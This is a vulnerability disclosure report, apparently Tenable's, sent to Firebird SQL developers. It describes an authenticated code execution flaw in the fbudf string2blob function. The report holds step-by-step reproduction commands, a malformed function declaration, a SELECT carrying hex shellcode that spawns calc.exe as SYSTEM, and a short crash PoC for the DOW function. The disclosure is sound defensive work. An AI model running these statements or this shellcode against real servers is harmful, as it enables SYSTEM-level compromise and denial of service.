Submitted by: Brian Martin (bmartin)

Relate to CORE5657

While working on a detection plugin for CVE-2017-6369 / VulnDB 154295, Tenable found an authenticated remote code execution vulnerability in Firebird SQL Server. It started with a pedestrian DOS that would just kill the server and after investigating, it turned into code execution. We tested this with a Firebird 2.5.7 32-bit Windows installation on a fresh "IE8 on Win7" VM. Since it was installed with default settings, it is configured as a system service, which means we get SYSTEM code exec.

The vulnerability exists due to a flaw in how external module functions are defined in Firebird SQL, along with how the string2blob() functoin is implemented in the fbudf module that ships with Firebird. If we declare an external function with the wrong parameters, we can manipulate the fields in a blob struct, which includes a function pointer. In string2blob(), the second parameter (outblob) is a blob and we can effectively set the outblob->blob_put_segment() function pointer by passing it a varchar instead of a blob. The string2blob() function then calls outblob->blob_put_segment() and we get control of the EIP.

On Windows 7 we were able to figure out how to pass shellcode that pops everyone's favorite utility (calc.exe) as the first parameter, and have outblob->blob_put_segment() point to it. This works reliably on a freshly running Firebird binary (it crashes the server after spawning calc), but on a server that's been running for awhile it just crashes the server. This is fine as fbguard will respawn the crashed server, so it just takes two attempts to exploit it properly.

You only require normal user database credentials in 2.5.7 to declare external functions, but in 3.0.2 you need database administrator credentials.

Here are the reproduction steps:
- Initial set-up
-- Download and set up Microsoft's IE8 on Win7 VM (can grab it from https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/)
-- Install Firebird SQL Server 2.5.7 32 bit (release, not debug) using default settings.
-- Using the gsec utility, create a new normal user account. (e.g. takin / bovidae)
--- gsec -user sysdba -pass masterke -add takin -pw bovidae
-- Create a new database using the isql utility (this and all future steps can be done remotely).
--- isql -u takin -p bovidae 192.168.1.100
--- SQL> create database 'testdb';
- Exploitation
-- Add our malformed function declaration via the isql utility:
--- isql -u takin -p bovidae 192.168.1.100:testdb
--- SQL> declare external function a6 varchar(300) by descriptor, varchar(400) by descriptor returns integer entry_point 'string2blob' module_name 'fbudf';
-- Run our query that includes some shellcode that pops calc.exe:
--- SQL> select a6((select x'31db648b7b308b7f0c8b7f1c8b47088b77208b3f807e0c3375f289c703783c8b577801c28b7a2001c789dd8b34af01c645813e4372656175f2817e086f63657375e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c789d9b1ff53e2fd6863616c6389e252525353535353535253ffd7' from rdb$database), (select x'11111111C8FD8503' from rdb$database)) from rdb$database;
-- Check for calc.exe running as SYSTEM using process explorer or similar on the Win7 VM. The Firebird server will crash right after spawning calc, but fbguard will restart it and calc will stay running in the background.

Caveat: If the server has been running for any period of time the exploit is unreliable and will only crash the server. Luckily we have fbguard running that will restart it, and the exploit seems to work 100% against a freshly started server. So if this is the first time running a6(), wait a few seconds for fbguard to restart the server and run the previous select a6() line again.

This is tailored for 2.5.7 32 bit on Windows 7, but we've confirmed that we can control EIP on a 64 bit Linux version and also version 3.0.2, so it's just a matter of developing a reliable exploit for these platforms.

Here's an additional denial of service PoC (NULL pointer deref causing server crash) for another function in the fbudf module. This simpler PoC should work on any version, any OS:
SQL> DECLARE EXTERNAL FUNCTION crash3 integer RETURNS integer ENTRY_POINT 'DOW' MODULE_NAME 'fbudf';
SQL> select crash3(0) from rdb$database;

There are likely issues with more of the functions in fbudf and ib_udf, so the fix for this should ensure it covers any functions in the external modules that are shipped with Firebird SQL. Unfortunately, we did not have time to test them all.